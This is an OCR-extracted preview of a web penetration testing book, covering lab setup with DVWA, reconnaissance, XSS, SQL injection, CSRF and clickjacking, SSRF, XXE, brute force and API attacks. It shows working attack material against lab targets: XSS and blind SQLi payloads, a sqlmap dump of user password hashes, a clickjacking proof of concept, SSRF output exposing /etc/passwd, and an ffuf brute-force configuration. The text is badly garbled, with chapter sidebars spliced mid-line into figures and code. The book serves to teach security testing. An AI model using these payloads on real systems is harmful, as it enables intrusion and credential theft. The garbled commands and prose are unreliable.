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A step-by-step guideline

Simplified web-based penetration
testing

Both theoretical and practical

Filled with hands on examples
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Students




Another Pentest book ©®

* No network security
* No OS and AD exploitation

* Pure web application

makeameme.org
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Open Al ChatGPT to automate
some tasks using scripts.
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OWASP Top 10:2021
No. Vulnerability
Al Broken Access Control
A2 Cryptographic Failures C h a pte r 0 1
= Introduction to Web
A4 Insecure Design . . .
A5 Security Misconfiguration Appllca tlon Pen etra thn
A6 Vulnerable and Outdated Components Te S t I n g
A7 Identification and Authentication Failures
A8 Software and Data Integrity Failures
A9 Security Logging and Monitoring Failures Testing from an attacker’s view is
A10 Server-Side Request Forgery more effective.

Figure 1.6: The OWASP Top 10 vulnerabilities

Proper tools and framework are
key to finding vulnerabilities.

Broken Access Control

According to OWASP, broken access control occurs when access control and TeStlng has S stage_s, Wlth

authentication functions in an application are not implemented correctly. This reconnaissance bemg |mportant-
includes issues such as missing or improperly implemented access control
checks, weak session management, and insufficient permission enforcement.
This allows attackers to bypass intended authorization, leading to unauthorized
access, a significant factor in many attacks. Attackers exploit weak spots or mis-
configured access control methods, potentially leading to severe consequences.
To prevent this, applications must enforce robust authorization and validation
at all access points. The most common issues involve missing access control




Chapter 2 = Setting Up Your Penetration Testing Environment 11

(root® kali)-(~]
EI mysql root
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.11.5-MariaDB-3 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and ofhers. Chapter 02
Typo help;' or ‘\h' for help. Type '\c’' to clear the current input statement Setting Up your
MariabDB [(none)]> create user 'dvwa'®'127.0.0.1' identified by 'password’; " .

‘ Penetration Testing

Query OK, © rows affected (0.008 sec)

Figure 2.10: DVWA MySQL user creation and configuration details E n VI ro n m e n t

MariaD8 [(none)]> grant all privileges on dvwa.* to 'dvwa'®'127.0.0.1" identi
fied by 'passwerd’;
Query OK, @ rows affected (0.010 sec)

Figure 2.11: Granting full privileges to the DVWA database user Lab setup using free and commercial
Commercial Options options.
Sometimes, you may desire better stability, support, and reliability for running Container guidelin e

your virtual machines, and in such cases, commercial tools could be your

go-to option. However, it’s worth noting that free and open-source projects have a0 . . .
become incredibly robust and reliable nowadays. Ultimately, the choice is yours. Kali Linux installation (+Other OptlonS
e.g. PentestBox)

= VMware Workstation: VMware Workstation is a robust option with
advanced features ideal for complex testing environments. It offers better
support and integration with various operating systems.

Installing a vulnerable webapp

https://www.vmware .com/products/workstation-pro.html (Microsoft «30nﬁguraﬁ0n8)

Windows)
https://www.vmware.com/products/fusion.html (Apple Mac) Settlng Up Web pr0X|eS (Burp and
Here are the steps for installing VMware Workstation (Windows): ZAP) and required Configurations

1. Purchase, download, and install VMware Workstation.
2. Follow similar steps as VirtualBox for creating a new VM.

m Parallels Desktop: This is a fantastic option for Mac users, providing
effortless integration with macOS and impressive performance. See
https://www.parallels.com/products/desktop.




rigure 5.14 sSnOwWs Kecon-ng main switcnes, witn e mramework s core com-
mands and options for reconnaissance tasks.

[8] Recon modules

[1] Import modules

[recon-ng][default] > ?

Commands (type [help|?] <topic>):

back Exits the current context

dashboard Displays a summary of activity

db Interfaces with the workspace's database
exit Exits the framework

help Displays this menu

index Creates a module index (dev only)

keys Manages third party resource credentials
marketplace Interfaces with the module marketplace
modules Interfaces with installed modules
options Manages the current context options

pdb Starts a Python Debugger session (dev only)
script Records and executes command scripts
shell Executes shell commands

show Shows various framework items

snapshots Manages workspace snapshots

spool Spools output to a file

workspaces Manages workspaces

Figure 3.14: Recon-ng main switches

Recon-ng has different module types, each designed for specific tasks during
web reconnaissance. Here’s an overview of the various module types in Recon-ng:

“main()
Then I created my Python file and executed the OSINT script:

L # python osint.py

Simple OSINT Tool - Domain IP Lookup

Enter the domain name to loockup: example.com
Domain IP Information:

Domain: example.com

IP Address: 93.184.215.14

City: London

Region: England

Country: United Kingdom

Chapter 03
Reconnaissance and
Information Gathering

Practical passive reconnaissance

Explore tools like Nmap and combine
techniques with ChatGPT.

Practical active reconnaissance
NMAP (0-100)

Practical OSINT

A strong initial active scan improves

pentest results by finding more
vulnerabilities. (Recon matters!)
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Figure 4.2 A reflected XSS payload is executed in the browser

Vulnerability: Stored Cross Site Scripting (XSS)

Name * | <sCriPt>alert("stored-XSS");</sCriPt> ]
Let's exploit it!
Message *
A
[ Sign Guestbook | [ Clear Guestbook |
Name: ali

Message: alert(\"stored-XSS\");

| Name:
® {3 Inspector Console [ Deb ~N k  {) style Editor () Performance Ak Memory >>
Q Search HTML “+ £ W Filter

<td width="100">Name *</td> thov _ci
-~ <td>
<input name="txtName'" type="text"” size="30" [FPACTLTIL Cab- Tl

</td>

Chapter 04
Cross-Site Scripting
(XSS)

XSS categories and basics

Practical reflected, stored and DOM-based
XSS

Advanced exploitation scenarios e.g.,
session hijacking, website defacement

Self XSS
XSS bypass

XSS attacks mitigations




switch. In Figure 5.23, I used the SQL query SELECT *
the users table.

[16:39:44] [INFO] the query with expanded column
vatar, failed_login, first_name, last_login, las
M users

SELECT * FROM users [5]:

[*] admin, /DVWA/hackable/users/admin.jpg, ©, ad
in, 5f4dcc3b5aa765d61d8327deb882cf99, 1

[*] gordonb, /DVWA/hackable/users/gordonb.jpg, © Chapter 05
, Brown, e€99al18c428cb38d5f260853678922e03, 2 . A
[*] 1337, /DVWA/hackable/users/1337.3jpg, ©, Hack SQL InjeCtlon

3533d75ae2c3966d7e0@d4fccH69216b, 3

[*] pablo, /DVWA/hackable/users/pablo.jpg, 0, Pa
asso, 0d107de9fSbbe4@cade3deS5c71e9e9b7, 4

[*] smithy, /DVWA/hackable/users/smithy.jpg, 0, N &
th, Sf4dcc3b5aa765d61d8327deb882cf99, 5 é‘gfmgéed & advanced SQLi using

Manual SQL injection

[16:29:44] [INFO] fetched data logged to text fi ChatGPT can quickly generate
custom SQL injection payloads.

Figure 5.23 Fetching data from the users table using direct SQL ¢ SQLi mitigation techniques

1. hips:// YourTarget.exampie/product. php? 2 SLEEP query
product_id=12 or 1=1; SELECT SLEEP(10)-

A— % —8

Attacker https://YourTarget.example

3. P with 10 d gelay! (

E —
4. 1=1 AND SUBSTRING((SELECT user FROM users WHERE id=1), 1, 1) = ‘a' (Exploftation and exfiitration)

Figure 5.2 A time-based SQL injection identification and a boolean-based blind exploitation



it without doubt, as it cannot distinguish between legitimate user requests and those generated by attackers. Hence,
the attacker's predefined action is executed, all while impersonating the legitimate user. This event series
demonstrates the principle of CSRF attacks, where you can trick users into performing web actions on their behalf,
exploiting trust in active sessions within your targeted web application.

3. An arbitrary attacker action carried out on behalf of the legitimate user.

P

> > Chapter 06
1. An attacker prepares an action 2. The victim, who is a user of the website CrOSS-SIte Request
in the form of a URL targeting a specific website. ~ and is already logged in, clicks on the link.
unknowingly sending a request to the website. F O rge ry ( CS R F)

Figure 6.1 A successful CSRF attack

Clickjacking

CSREF basics and exploitation

I explained the clickjacking scenario to ChatGPT as I mentioned earlier, and it provided the following code:

Clickjacking scenario and PoC

<!DOCTYPE html>

<html>
<head> . g
<title>clickjacking Foc</titles Developer guides to mitigate CSRF
<style> . . .
/* sStyling for the deceptive button */ and CIICkJaCklng
#deceptiveButton {
width: 200px;
height: 50px;
background-color: transparent;
border: none;
position: absolute;
top: 0;
left: 0
opacity: 0;
}
</style>
</head>
<body>

<iframe src="https://www.[TargetSocialMedia] .example" width="1000" height="800"></iframe>
<button id="trickyButton" onclick="document.getElementById('targetButton') .click()">Claim
Your Gift</button>
</body>
</html>




Chapter 7 = Server-Side Attacks and Open Redirects
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« CcC @ Q 192.168.1.2:6711

My simple SSRF demo!

ur _Jocal_tée7lle

2 &0

Pentester Demo Page Target Local Server

1]

This page simulates a realistic scenario, allowing data retrieval from local files via SSRF.

Figure 7.2: The demo web page vulnerable to SSRF

icurl * A 3 2url= 2 = -
root:x:@:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
isys:x:3:3:sys:/dev:/usr/sbin/nologin

[Sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1pd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:1@:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
waw-data:x:33:33:www-data:/var/ww:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd: /usr/sbin/nologin

| apt:x:42:65534 :: /nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody : /nonexistent:/usr/sbin/nologin
isystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
isystemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107 :: /nonexistent:/usr/sbin/nologin

ftss:x:101:109:TPM software stack,,,:/var/lib/tpm:/bin/false
'strongswan:x:102:65534 :: /var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:1@3:110:: /nonexistent:/usr/sbin/nologin

Figure 7.3: A successful SSRF via curl reveals the target local server’s user accounts

Chapter 07
Server-Side Attacks
and Open Redirects

Compromising internal systems
using SSRF

Out-of-band and Blind SSRF
techniques

Exploiting file inclusion
vulnerabilities (LFI and RFI)

Identifying and exploiting Open-
Redirect flaws




Figure 8.2 indicates that the XML entity stest; was successfully processed,
and its value, XXE Test, was substituted into the XML structure within the
<data> element. This behavior is consistent with XXE processing, where external
entities are referenced, and their values are included in the XML document
during parsing,.

Request Response
Pretty Raw Hex 8nvr = Pretty Raw Hex Render = W =

1 POST / HTTP/1.1

2 Host: localhost:5000

3 Cache-Control: max-age=0
4 sec-ch-ua: "Chromium®;v="119", XML Data HUb
“Not?A_Brand";v="24"
sec-ch-ua-mobile: 70
sec-ch-ua-platform: *Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT
10.0; Win64; x64) ApplewebKit/537.36

Chapter 08
XML-Based Attacks

W~ oW

- é’?::::;’l};k;ggil;ol)lSS Safari/537.36 XML ProceSSing Resu":

= ::::srtn::ml,apphcation/xhtmlfxm\.,applzc Successfully parsed XML: XXE fundamenta|S and basic
Z;;g:z:?:qzzqggz/:;tflfage;"egg <data>XXE Test</data> . exploitation

R bt nsind TF!|e XML entity has been processed.

L1 g et eh-Fo v g Using XXE to perform DoS and
2 Sec-Fetch-user: ? ’ s ¢
13!Sec- Fetch-Dest: document Simple XML Data Transmission and Processing Platform SSRF attacks
14 Accept-Encoding: gzip, deflate, br
15 Accept-Language: en-US,en;gq=0.9
15 Connection: close

17 Content-Type: application/xml

18 Content-Length: 114

XXE protection

208<?xml version="1.0" encoding="UTF-8"?>
21) <IDOCTYPE data [

22| <!ENTITY test "XXE Test">

231 1=

24] <data>

sest;  The payload

</data>

Figure 8.2: Verifying that the web application is vulnerable to XXE




Burp Project intruder Repeater View  Help
Dustooard  Target  Proxy  Intruder
Orgnzer  Etensions  Learn

ik 2s +

Eme

Request

P Raw  Hex 8w =

1 GET JOviA/vULnersbiLities bruts/?
usernane=adminépassword=adminilogin
ogin HITR/L.1

2 Host: localhost

3 sec-ch-ua: *Chramum';v="118",

*Not?8_Brand? ;=124

sec-ch-ua-mbile: 20

sec-ch-ua-platfarm: *Linux!
Upgrade- Insecure-Aequests: 1
7 User-Agent: Mozilla/5.0 (Windows NT
10.0; Win6a; 164)
ApplowsbKi /537,36 (KHTNL, like
Gecko) Chroms/119,0.6045,159
Safari /537,36

8 Accept:
textshtnl, application/xhtal+xml, spp
lication/xml; 9=0.9, imsge/avif, 1mage
/webp, 1mage/apng, */*39=0.8,applicat
Jon/signad-exchange; v=b3;4=0,7

7 Soc-Fatch-Sita: sam-origin

10 Sec-Fatch-Mode: navigate

c-Fatch-Usar: 71

c-Fetch-Dest: document
erer:
http://localhost/Ovaasvulnerab: a1l
es/brute/

14 Accapt-Encoging: gzip, deflate, br

cept-Langusge: =n-US, £n;0=0.9
okie: PHPSSSIO=
024Lrrkuagny {5)acsn@0ldecl;
security=low
17 Connection: close

s

@ €| 3 earh 5] ohichligns
Done

[

Response

Pretty  Raw  Hex v 8n =
HITP/L.1 200 O

2/Date: Thu, 04 Jul 2024 19:51:33
o

2 Server: Apache/2.4.58 (Debian)
4 Expires: Tue, 23 lun 2009 12:00:00

o

= Cacha-Control: no-cache,
nust-revalidate

& Pragne: na-cache

7 Vary: Accept-Encoding

& Content-Langth: 4371

0 Connection: close

0 Content-Type;
toxt/html;charset=utf-8

2 <1 COCTYPE html>
<html Lang="sn-c8">

a
6| <head
7

<nets http-equLv=" Content-Type
* content
charset

1% <titles

vulnerability: Brute Force

i1 Dann Wilnereble Web

fpplacation (DWA)
</titles

<link rel=tstylesheett typest
text/ess" href=*

/.. ldwwsjcssjmain. css" />
22 <link rel=ic
\imagesice® hres

O8>

' types=t

D ohighlights

B Vulnerability Brute Forc: x| +

Collaborator.  Sequencer  Decoder  Comparer  logger @Settings | & 5 C @ localhost/DVWANInerabilitieslbrute/7usermame=adming password=adminélogn=logn= B> % # & 0 &

i o)

Targe:hpifiocathost (9 wrren () |

Inspector ™ - ® X el
" D e x I8 Vulnerability: Brute Force
Reguest attributes 2 v =
Login
Requestqueryparameters 3 v 3 R
Request body parameters 0 v | Passaod l
- c] J
Reguest caolkies 2 v 3
g [ Login |
Request headers B v
| Usernane and/or password incorrect
Response headers 9 v

More Information

Usemame: aimin

41662 byt 5l | Secacity Lovsb tai

Figure 9.1: Reproducing a login request using Burp Suite Repeater

7 I /as N

AN NC L AN N

70 N
/ NN

NI A RIS
N RN ORI A NN TN A SN

o AN N A X XN VA LG
R/ W \/_ 7/ N/
v2.1l.0-dev
:: Method : POST
:: URL : http://localhost/DVWA/vulnerabilities/brute/
:: Wordlist : FUZZ: /usr/share/wordlists/john.lst
: : Headexr : Cookie: security=1low; PHPSESSID=i6v370eocg89mcsa
ja3laep350g

:: Data : username=admin&password=FUZZ&Login=Login
:: Follow redirects : false
:: Calibration : false
:: Timeout £ =k
:: Threads : 40
:: Matcher : Response status:

200-299,301,302,307,401,403,405,500

Filtexr

: Regexp: Username and/or password incorrect.

Chapter 09
Authentication and
Authorization

AuthN/AuthZ basics and
comparisons

Brute-Force attacks

Credential Stuffing attack (in Action
by Open Bullet 2)

Password Spraying
Attacking JWT
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LIIAPLET 1V @ APl AMlitacns

|/ APl = -+

€ > C © Ilocalhost8888/dashboard

Vehicles Details

VIN: 9SKUSY61TQGB478556

Taz,
- - o5
€ Viewlarger map o ook Ave

.ev“
\‘3{ EC Milllon =
dy Msnov° = Memorial Park &
willis Manor °

Million Park

£ Contact Mechanic

Company :
Model :
Fuel Type:

Year:

T s Texas Bar-BQue
Bublic Library W Q) Main street Guit 2

> =
&
= >
® Dreaming Creek Brewery &P
&
B Madison Garden
acksor s ) iscnSarden@ <

Figure 10.8: Locating the community tab

<« - <C @ localhost8888/verify vehicle

Verify Vehicle Details

e = B> X » E O =

« Pin Code: | 2357

“VIN:  OKUSY61TQGB478556

Chapter 10
APl Attacks

APl enumeration techniques
Finding valid API endpoints
API BOLA exploitation

Rate limiting

Automated tools

API Security Tips
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Stay in touch!
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